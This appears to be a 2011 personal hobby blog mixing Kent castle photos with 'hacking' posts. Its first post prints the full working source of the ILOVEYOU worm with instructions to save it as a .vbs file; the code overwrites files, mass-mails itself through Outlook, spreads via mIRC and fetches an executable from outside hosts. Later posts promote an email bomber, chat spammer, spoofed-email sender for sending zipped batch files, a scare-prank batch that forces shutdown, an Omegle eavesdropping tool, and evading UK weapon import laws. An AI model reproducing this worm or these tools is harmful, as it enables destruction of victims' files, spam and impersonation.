my blog

Monday, 21 February 2011

I LOVE YOU

On the 4th of may 2000 people started getting love emails with the words i love you sent to them. Some opened those letters and became a statistic for one of the most dangerous and wides spreading viruses in recent history. ladies and gentlemen i give you the full source code for the i love you virus. Copy this script to notepad and save it as anything.vbs by which i mean make damn sure whatever you call it the .vbs goes in at the end. Your antivirus will be screaming blue murder at this point. WARNING do not under any conditions open this vbs script. Ohhhhh i also recommend that you don't zip it in a file and email it to anyone either.in fact you never saw this blog and if anyone asks you dont know me lol

THE INFAMOUS I LOVE YOU VIRUS

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
X",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
""&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

Seriously people its like the ark of the covenent don't even look at it hahahahahahahahahahahahaha

CHAT SPAMMER

Heres an example of a basic chat spammer. http://rapidshare.com/#!download|226l3|190470187|Chat_Spammer.zip|6322 You will first have to have winrar installed http://download.cnet.com/WinRAR-32-bit/3000-2250_4-10007677.html as this is a rar file. Once you have clicked the link you will be taken to a download page just click on the slow download section and wait 30 seconds or so. This is a basic example of a chat spammer that just auto copies and pastes and enters whatever you type into it. It can be very annoying lol but can be used on most chat forums including msn. A word to the wise some chat spammers give you a countdown before spamming this one does'nt. As it hits the enter key very rapidly its probably not a good idea to have your mouse cursor hovering over any aplication you do not want to use. (trust me i made that mistake once lol) This spammer was created by a guy who goes by the name C0nw0nky and i think its only fair to link his youtube account to this blog http://www.youtube.com/user/C0nw0nky if you like his work feel free to subscribe to him oh and also me as well lol http://www.youtube.com/user/FuckingMudaFucker Happy spamming :)

The warren

road to the warren

the warren front entrance (i suppose)

the warren

the warren again

go on have a guess :)

an old tree

golf course near the back

Just a few miles down from where i am theres a big wooded area known locally as the warren. I used to play here when i was a kid. I also tried camping here one night a long time ago when i was 14 the tent was however not waterproofed and i got soaked and came home early lol. I thought id take a few pics and post them nothing special but i was bored :)

Virtual DJ

virtual dj 4 decks

Here is quite possibly one of the best free downloads i have come across. Virtual dj 7 http://virtualdj.en.softonic.com/ is a free and full mixing tool that mimics the set up that all djs use. As long as you have music stored on your pc (and who doesn't?) you can load a track to each deck (up to a maximum of four) and start mixing the tracks together. just drag and drop the tracks onto the deck itself. It also has an auto sync which speeds up the beat of the track to the bpm of the currently playing track or tracks. It really does take the pain out of timing the beats. Levels crosfaders and also different types of effects can be applied.You can chose between using 2 or 4 decks and after a little practice should be able to produce some quality tunes. (it took me about 2 hours from the initial download to produce something decent). This tool also gives you the option of recording your mixes in real time to save and playback on your pc. (you could even upload them to your site as i did) It also comes with a different variety of skins to customise the appearance. If you ever wanted to try your hand at mixing and dj 'ing this free software comes totally recommended by yours truly :)

2 deck variation

Sunday, 20 February 2011

Dover

haven't a clue what this is

a window lol

view of the old roman lighthouse

another view from dover castle

my pc seems to be playing up at the moment and I'm having trouble finding a lot of the photos i had on my memory stick :( if i cant find them to upload ill just have to go out and collect some more. In the mean time here's some more pics from dover castle.

Hack websites? (javascript)

Ok the title may be a bit misleading lol but if it attracts attention its done its job. This was the first trick i learned on a pc and it has come in useful in more ways than one.

javascript: document.body.contentEditable = 'true'; document.designMode = 'on'; void 0

The above code is a javascript injection. if you copy and paste this into the url box you can edit everything on that page you're looking at. (Give it a try on this blog). Its a simple edit rather than a full hack and there are better ways of achieving the same results. as soon as you refresh your browser all the edits disappear but you could always take a pic lol. i have included a couple of before and after shots from my youtube account http://www.youtube.com/user/FuckingMudaFucker (as good a time as any to plug my account lol). give it a go and see what results you can come up with. this trick works on almost any website as most sites use javascript as their code.

Before

After

google tricks 1

Here is a list of things you can type into googles search engine and come up with some funny results. You have to make sure you hit the I'm feeling lucky button rather than the search button. first just hit the I'm feeling lucky button with a blank search bar. the next you can just copy and paste from this blog if you like. :)

1 google bad things
2 google god
3 google chuck norris
4 google goth
5 google 133t
6 google loco
7 emew fudd
8 xx-klingon
9 xx-piglatin
10 google bsd
11 google linux
12 google easter egg
13 google bitch
14 google kids
15 french military victories

The chuck norris one is pretty damn funny and I'm sure theres more out there. Theres also some url tricks that i will post in a further blog. :)

Pimp my homepage


custom homepage

Ever wanted to have a custom homepage? There used to be a site called pimp my search where you could customise the google homepage until the nice people at google decided to remove it for copyright infringement. There is however a site called pimp my homepage http://pimpmyhomepage.com/ where you can chose a variety of different backgrounds and change the name above the search bar to whatever you want it to be. If you fancy a custom homepage check out the link. :)

Saturday, 19 February 2011

Give away of the day

This site http://www.giveawayoftheday.com/ is one of the more cooler sites out there. giveawayoftheday.com is a site that literally gives away full free software with the registration key that would normally cost tens if not hundreds of pounds to buy. They give a different piece of software per day and it is can only be downloaded that day. its kind of a promotion site for software houses. not every piece of software would take my fancy. But i do have a regular look (I'm holding out for a video editor lol) at the time of writing they are giving away a calender-cookbook app. Its totally free and unlike torrent sites totally legal :) worth a look says i.

Email Bomber

Ever wanted to spam someones email? naaaaah its a bit childish to say the least. You will first need a gmail account. I have absolutely no idea why that account works. Then you will need to download an email bomber. http://www.megaupload.com/?d=V4W3DHNT bear in mind you download this as a rar file so if you don't have winrar installed you will just get a code. Here's the link to download winrar http://download.cnet.com/WinRAR-32-bit/3000-2250_4-10007677.html you can then type the subject of the email and the mail you wish to send. Next the the email address you intend to spam (btw i used mine don't spam me lol). Next type the gmail address that you will send your message from and the password of that address (you cant send mail if your not logged in lol). then just hit send and watch as the counter rises. just click stop to stop sending. This can be very annoying to the recipient of the spam especially if you hit send and walk away from your pc lol. I tested this on my sis with 10 mails she can confirm it works lol

A simple batch file (fake virus)

@echo off
title VIRUS
color 40
echo: Trojan Horse Virus has been detected
pause
echo: Would you like to delete the file?
pause
echo: Proccessing........
pause
dir/s
echo: Files Deleted
pause
shutdown -s -t 60 -c "System Crash will ocurr on shutdown"

The above is a batch script that you can use to fool your friends (or enemies) into thinking they have a virus. just copy and paste that script into notepad and save it as anything.bat. by which i mean make sure to put .bat at the end of what ever you call it. that will turn it into a batch file. Once you click on it it will show a pop up box telling you that you have a virus and will initiate the shutdown of your pc. all it is really doing is sending a command to the pc to shut down but as it shows as a virus box it will scare the shit out of your victim. you can also email any batch (virus?) command to anyone but you first have to compress it in a zip file and send it. the victim (idiot retard ect) will then have to unzip and open the file lol. This is just a prank file but there are ones that can completely wipe your hard drive. WARNING do not open any batch file unless you know it wont do any permanent damage.

A couple more pics

wye weir

a field in pluckley

Here's a couple more images i took. one is the weir opposite the tickle trout pub in Wye. (bloody near £4 a pint) the second is a field of rape :) in Pluckley. I used a free photoshop alternative called Gimp http://www.gimp.org/downloads/ to slightly alter the images.

Friday, 18 February 2011

Some more random pics

Leeds castle

Leeds castle grounds

Medievil tunnels Dover castle

Dover castle kitchen

View from top of Dover castle. I've been told that on a good day you don't even see France :p

Broadstairs beach

View from the top of tonbridge castle(technically its just a hill most of that castle is in ruins
the gate house is the only thing standing)

The star pub car park :)

Miserable git me taken from wye train station :p

Zzzzzaaaap

http://shop.esino.hk/

Ok its not very often that i will post blogs about online retailers. However Esino mart are a retailer in china who specialise in electronic goods and used to advertise their products on ebay until recently banned (see where I'm going with this). as well as the usual electronic goods they have a range of non lethal weapons including cs spray and stun guns. So what i hear you ask lol. well it just so happens that they have absolutely no problems with exporting their goods to county's that have legal issues with their products.

While on ebay this company boasted of being able to bypass the legal restrictions of posting to the UK and other places with restrictions on these items by placing the word toy on the packaging. I can only assume this is still the case. Of course you don't have to believe me but if you want to break the law (not recommended) and own a stun gun, tazer or cs spray from as little as £9 per unit the moral and legal choice lies with you.

UPDATE Esino Mart no longer offers stunguns tazers or peppre spray on there website. I am guessing they eventualy got rumbled for there dodgy actions. they do however sell a range of computer and tech including spy ware at resonable prices (no i dint work for them) it is however based in china and my experiences with ordering from that country are that you will have to wait an incredibly long time for your item to be delivered.

Dover Castle

artillary gun pointing towards france (nice)

dover castle banquet hall

top of dover castle

Just a few extra pics from Dover Castle. i might add some more later. (actaully i might add all my pics here).

Thursday, 17 February 2011

Omegle spy.jar

http://www.megaupload.com/?d=R47IKR6J

Here's an interesting application. Unlike most chat rooms Omegle.com is a site that allows you to have a one to one conversation with a random individual. this app omegle spy.jar allows you to view this 2 way conversation and even type on behalf of the other without them knowing you are there. for instance if you type on behalf of person (a) person (a) doesn't see what you typed to person (b) and vice versa. you can even disconnect one of the people and continue the conversation as that disconnected person lol. or just mess with the conversation generally.It can have some bloody funny results done properly. This little download really is hacking for dummies. which in my case is just as well lol.

evidence that im not just a computer geek lol

Dover castle

Tonbridge castle gate house

Very well composed shot of folkstone beach (if i do say so myself) Who would have thought that folkstone is actually quite shit? lol

Old wooden hut type thingy in leeds castle grounds

a pond in the grounds of leeds castle *tony hart* "i particularly like the reflection on the water" :p

Canterbury high street

Leeds castle grounds (again)

and again :)

You may or may not believe me but i took these pics. a mixture of dover castle tonbridge castle leeds castle (no castle though just the grounds) folkstone beach and canterbury high street. possibly more pics to come.

Fake Mailer

http://emkei.cz/

Ever wanted to send an anonymous email? of course you have. emkei fake mailer is one iv used. it allows the user to chose any email name they like and send it to their unwitting victim....(i mean recipient) lol. you could be me@your momma.com if you were so childish :) i used it over the xmas holidays sending mail to all my friends and family disguised as santa@northpole.com lol. it also allows you to send files. (zipped batch anyone) please use responsibly. or at least don't get caught

free texts

http://www.cbfsms.com/ok I'm not entirely sure where to start or what to blog. lol i know i like the net and tools sites and apps (preferably free). so here's a link to a site that allows uk residents to send sms text messages for free to the rest of the UK. http://www.cbfsms.com/ there are a few stipulations to using this service. you are limited to 137 characters per text. you will also have to remove the zero from the number you intend to text and replace it with 44 (the code for the UK). it also helps to let the person know that its you texting as they will receive a message saying its from the text service. also remind them to call you back on your phone and not the number provided by the text service. although I'm not entirely sure this may be a higher rate number. bear those things in mind and you can text any mobile for free in the UK :)

Search This Blog

Monday, 21 February 2011

Sunday, 20 February 2011

Saturday, 19 February 2011

Friday, 18 February 2011

Thursday, 17 February 2011